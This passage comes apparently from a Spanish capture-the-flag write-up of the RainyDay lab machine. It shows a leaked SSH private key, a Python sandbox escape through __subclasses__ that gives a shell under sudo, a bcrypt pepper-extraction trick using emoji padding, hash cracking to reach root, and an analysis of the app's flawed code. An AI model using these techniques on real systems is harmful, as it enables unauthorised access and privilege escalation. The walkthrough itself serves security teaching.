pefHktaLhm0foNRBKecRNsbIxAUaOk6krwBmOsPLf8Ef8eehPkFBotfjxfKFFJ+/Avy22h
yfrvvtkHk1Svp/SsMKeY8ixX+wBsiixPFprczOHUl1WGClVz/wlVqq2Iqs+3dyKRAUULhx
LaxDgM0KxVDTTTKOFnMJcwUIvUT9cPXHr8vqvWHFgok8gCEO379HOIEUlBjgiXJEGt9tP1
oge5WOnmwyIer2yNHweW26xyaSgZjZWP6z9Il1Gab0ZXRu1sZYadcEXZcOQT6frZhlF/Dx
pmgbdtejlRcUaI86mrwPFAP1PClLMlilroEaHCl8Dln5HEqnkpoNaJyg8di1pud+rJwlQw
ZyL6xnJ0Ke4ul3fDWpYnO/t8q5DQgnIhRKwyDGSM7M6DqBXi8CHSbPITzOMaiWgNzue49D
7ejAWa2sSlHJYhS0Uxpa7xQ3LslsnnysxIsZHKwmaMerKMGRmpoV2h5/VnXVeiEMIxAAAA
wQCoxMsk1JPEelb6bcWIBcJ0AuU5f16fjlYZMRLP75x/el1/KYo3J9gk+9BMw9AcZasX7Q
LOsbVdL45y14IIe6hROnj/3b8QPsmyEwGc13MYC0jgKN7ggUxkp4BPH4EPbPfouRkj7WWL
UwVjOxsPTXt2taMn5blhEF2+YwH5hyrVS2kW4CPYHeVMa1+RZl5/xObp/A62X/CWHY9CMI
nY9sRDI415LvIgofRqEdYgCdC6UaE/MSuDiuI0QcsyGucQlMQAAADBAPFAnhZPosUFnmb9
Plv7lbz9bAkvdcCHC46RIrJzJxWo5EqizlEREcw/qerre36UFYRIS7708Q9FELDV9dkodP
3xAPNuM9OCrD0MLBiReWq9WDEcmRPdc2nWM5RRDqcBPJy5+gsDTVANerpOznu7I9t5Jt+6
9Stx6TypwWshB+4pqECgiUfR8H1UNwSClU8QLVmDmXJmYScD/jTU4z3yHRaVzGinxOwDVG
PITC9yJXJgWTSFQC8UUjrqI7cRoFtI9QAAAMEA+pddCQ8pYvVdI36BiDG41rsdM0ZWCxsJ
sXDQ7yS5MmlZmIMH5s1J/wgL90V9y7keubaJxw1aEgXBa6HBuz8lMiAx7DgEMospHBO00p
92XFjtlFMwCX6V+RW+aO0D+mxmhgP3q3UDcVjW/Xar7CW57beLRFoyAyUS0YZNP7USkBZg
FXc7fxSlEqYqctfe4fZKBxV68i/c+LDvg8MwoA5HJZxWl7a9zWux7JXcrloll6+Sbsro7S
bU2hJSEWRZDLb9AAAADWphY2tAcmFpbnlkYXkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Y ya tenemos acceso a la máquina, por lo que podemos leer la flag user.txt
:
$ chmod 600 id_rsa
$ ssh -i id_rsa jack@10.10.11.184
jack@rainyday:~$ cat user.txt
9226a9ba80213b820a524184ecf52e85
Movimiento lateral al usuario jack_adm
La enumeración básica nos dice que jack
puede ejecutar /usr/bin/safe_python
como jack_adm
usando sudo
:
jack@rainyday:~$ sudo -l
Matching Defaults entries for jack on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on localhost:
(jack_adm) NOPASSWD: /usr/bin/safe_python *
Pero no podemos leer este archivo:
jack@rainyday:~$ ls -l /usr/bin/safe_python
-rwxr-x--- 1 root jack_adm 710 Jun 5 12:52 /usr/bin/safe_python
Aunque sí vemos que su tamaño es de 710 bytes, por lo que tiene que ser un archivo de texto (probablemente un script en Python o en Bash).
Con las siguientes pruebas, podemos asegurarnos de que es un script en Python:
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python
Traceback (most recent call last):
File "/usr/bin/safe_python", line 28, in <module>
with open(sys.argv[1]) as f:
IndexError: list index out of range
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /usr/bin/safe_python
Traceback (most recent call last):
File "/usr/bin/safe_python", line 29, in <module>
exec(f.read(), env)
File "<string>", line 3, in <module>
ImportError: __import__ not found
Genial, ya sabemos que es un script en Python que utiliza exec
para ejecutar otro script de Python. Vamos a probar el código más simple para obtener una shell como jack_adm
:
jack@rainyday:~$ echo 'import os; os.system("whoami")' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
Traceback (most recent call last):
File "/usr/bin/safe_python", line 29, in <module>
exec(f.read(), env)
File "<string>", line 1, in <module>
ImportError: __import__ not found
Escape del sandbox de Python
Bueno, no podemos usar import
. Entonces, tenemos que utilizar técnicas de escape de sandbox. Hay algunos ejemplos en HackTricks. Uno de ellos consiste en obtener la lista de __subclasses__
:
jack@rainyday:~$ echo 'print(().__class__.__base__.__subclasses__())' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>]
Encontramos <class 'os._wrap_close'>
en el índice 137 de la lista:
jack@rainyday:~$ echo 'print(().__class__.__base__.__subclasses__()[137])' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
<class 'os._wrap_close'>
Y ahora tenemos acceso a (...).__init__.__globals__['system']
y conseguir ejecución de comandos como jack_adm
:
jack@rainyday:~$ echo '().__class__.__base__.__subclasses__()[137].__init__.__globals__["system"]("bash")' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
jack_adm@rainyday:/home/jack$ cd
jack_adm@rainyday:~$ ls -la
total 20
drwxr-x--- 2 jack_adm jack_adm 4096 Sep 29 13:47 .
drwxr-xr-x 4 root root 4096 Sep 29 13:47 ..
lrwxrwxrwx 1 root root 9 Sep 29 12:16 .bash_history -> /dev/null
-rw-r--r-- 1 jack_adm jack_adm 220 Jun 4 21:31 .bash_logout
-rw-r--r-- 1 jack_adm jack_adm 3771 Jun 4 21:31 .bashrc
-rw-r--r-- 1 jack_adm jack_adm 807 Jun 4 21:31 .profile
Escalada de privilegios
Una enumeración básica nos dice por dónde continuar:
jack_adm@rainyday:~$ sudo -l
Matching Defaults entries for jack_adm on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack_adm may run the following commands on localhost:
(root) NOPASSWD: /opt/hash_system/hash_password.py
De nuevo, no podemos leer el archivo, pero tampoco ver su tamaño:
jack_adm@rainyday:~$ cat /opt/hash_system/hash_password.py
cat: /opt/hash_system/hash_password.py: Permission denied
jack_adm@rainyday:~$ ls -lh /opt/hash_system/hash_password.py
ls: cannot access '/opt/hash_system/hash_password.py': Permission denied
jack_adm@rainyday:~$ ls -lh /opt/
total 8.0K
drwx--x--x 4 root root 4.0K Sep 29 13:47 containerd
drwxr-x--- 3 root root 4.0K Sep 29 13:47 hash_system
jack_adm@rainyday:~$ ls -lh /opt/hash_system/
ls: cannot open directory '/opt/hash_system/': Permission denied
El programa nos permite generar hashes de contraseñas usando bcrypt
:
jack_adm@rainyday:~$ sudo /opt/hash_system/hash_password.py
Enter Password> asdf
[+] Hash: $2b$05$HESfZkcGQkfPhFrl/0fI8OAByhlqQ0BaZeFj1v9jJUuE.YB4l1Xiy
Podemos darnos cuenta de que el programa añade pimienta a nuestra contraseña, ya que el hash no coincide con asdf
:
$ python3 -q
>>> import bcrypt
>>> bcrypt.checkpw(b'asdf', b'$2b$05$HESfZkcGQkfPhFrl/0fI8OAByhlqQ0BaZeFj1v9jJUuE.YB4l1Xiy')
False
Y si generamos nuestro propio hash bcrypt
, sí es correcto:
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt())
b'$2b$12$zlcV6l5oli1bMn67.YoHAOdOv6ltgXy2Yk3QpzKd44I.XQwcbdCt.'
>>> bcrypt.checkpw(b'asdf', b'$2b$12$zlcV6l5oli1bMn67.YoHAOdOv6ltgXy2Yk3QpzKd44I.XQwcbdCt.')
True
Por consiguiente, el programa está usando asdf
junto con otra cadena de texto (conocida como pimienta), que se mantiene en secreto.
Encontrando la pimienta secreta
Existe un límite para las contraseñas de entrada a bcrypt
, que es 72 bytes (más información aquí).
Pero no podemos introducir más de 30 caracteres:
jack_adm@rainyday:~$ sudo /opt/hash_system/hash_password.py
Enter Password> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
[+] Invalid Input Length! Must be <= 30
Aunque podemos usar un truco, que es poner emoji, que son menos caracteres que bytes:
$ python3 -q
>>> len('⚡️')
2
>>> len('⚡️'.encode())
6
Entonces, la idea es usar emoji y otros caracteres de relleno hasta alcanzar los 71 bytes, de manera que el byte número 72 es parte de la pimienta. Así, con el hash resultante, podemos usar fuerza bruta para obtener el primer byte de la pimienta. Después de esto, podemos iterar reduciendo el relleno y obtener los siguientes caracteres de la pimienta.
Para este propósito, utilicé otro script en Python que se conecta a la máquina como jack
mediante SSH en pwntools
, se cambia al usuario jack_adm
y realiza el ataque descrito anteriormente para extraer la pimienta secreta. El script se llama extract_pepper.py (explicación detallada aquí):
$ python3 extract_pepper.py
[+] Connecting to rainycloud.htb on port 22: Done
[*] jack@rainycloud.htb:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'bash') on rainycloud.htb: pid 73184
[+] Got shell as `jack_adm`
[+] Payload: ⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️A
[+] Pepper: H34vyR41n
Rompiendo el hash de root
Finalmente, tenemos que coger el hash de root
(de antes) y hacer otro ataque de fuerza bruta con la pimienta anterior. Otra vez, escribí un script personalizado para romper el hash: crack.py (explicación detallada aquí).
$ python3 crack.py $WORDLISTS/rockyou.txt '$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W' H34vyR41n
[+] Password: b'246813579'
Y ahora podemos usar 246813579H34vyR41n
como contraseña para conseguir una shell como root
:
jack_adm@rainyday:~$ su root
Password:
root@rainyday:/home/jack_adm# cat /root/root.txt
94d0f6ae36dcfa3d6d634b82716d3aeb
Aclaraciones
A continuación, se pueden encontrar algunas explicaciones de por qué las técnicas anteriores han funcionado, analizando el código fuente.
Type Juggling en la API
Pudimos confundir a la API con valores en coma flotante por este bloque de código:
@app.route("/api/user/<uid>")
def api_user(uid):
response = {}
# we've had some crashes here before so do a simple try/except
try:
u = User.query.filter_by(id=uid).first()
response = {c.name: getattr(u, c.name) for c in u.__table__.columns}
if int(uid) != session.get("id", default=None):
response = {"Error": "Not allowed to view other users info!"}
except:
pass
return response
Al usar números float, ocasionamos una excepción, por lo que los resultados son devueltos. La variable id
se trata como un valor en la base de datos, no importa el tipo, pero sí importa para el intérprete de Python:
$ python3 -q
>>> int('1.0')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: '1.0'
Enumeración de usuarios
El proceso de enumeración de usuarios fue posible porque el servidor primero comprueba que el usuario existe y luego verifica la contraseña, y lanza dos mensajes de error diferentes:
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return render_template("login.html", dev=g.dev)
else:
username = request.form.get("username", default=None, type=str)
password = request.form.get("password", default=None, type=str)
if username is None or password is None:
return render_template("login.html", error="Missing Parameter!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
else:
u = User.query.filter_by(username=username).first()
if u is None:
return render_template("login.html", error="Login Incorrect!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
else:
if bcrypt.checkpw(password.encode(), u.password.encode()):
session['username'] = username
return redirect(url_for("index"))
else:
return render_template("login.html", error="Login Incorrect!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
Inspección de procesos desde los contenedores
Supongo que la vía intencionada era acceder al contenedor de jack
, leer la pista y luego leer el sistema de archivos de la máquina desde el contenedor usando /proc
. Realmente, esto es posible desde el contenedor de gary
en segundo plano, porque el UID es 1000, el mismo que el proceso que nos da acceso al sistema de archivos. A lo mejor el desarrollador se olvidó de añadirlo:
elif action.startswith("execdetach"):
action_cmd = action[10:]
exit_code, output = container.exec_run(action_cmd, detach=True, privileged=True, user="1000:1000")
elif action.startswith("exec"):
action_cmd = action[4:]
exit_code, output = container.exec_run("timeout 5s " + action_cmd, privileged=True, user="1000:1000" if session['username'] == "jack" else "1337:1337")
return Response(output, mimetype="text/plain", headers={"Content-Disposition": "attachment; filename=command_output.txt"})
return "Success"
Validación de la dirección IP
El código emplea la cabecera X-Real-IP
:
def ValidateIP(ip):
if ip.startswith("10."):
return False
if ip.startswith("172."):
return True
if ip == "127.0.0.1":
return True
return False
# APP CODE
@app.before_request
def before():
o = urlparse(request.base_url)
ip = request.remote_addr if "X-Real-IP" not in request.headers else request.headers['X-Real-IP']
print(f"[before] {o}")
print(f"[before] {ip}")
if o.hostname not in ["dev.rainycloud.htb", "rainycloud.htb"]:
return redirect("http://rainycloud.htb")
g.dev = True if o.hostname == "dev.rainycloud.htb" else False
if not ValidateIP(ip) and g.dev:
return "Access Denied - Invalid IP", 403
No obstante, incluso si la añadimos, no podemos acceder a dev.rainycloud.htb
:
$ curl 10.10.11.184 -H 'X-Real-IP: 172.18.0.3' -H 'Host: dev.rainycloud.htb'
Access Denied - Invalid IP
Y la razón es la configuración de nginx (/etc/nginx/sites-available/default
):
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/rainycloud;
index index.html index.htm index.nginx-debian.html;
server_name rainycloud.htb;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_pass http://172.17.0.1:8080;
}
}
La cabecera X-Real-IP
se sobrescribe por nginx usando $remote_addr
, por lo que no nos lo podemos saltar.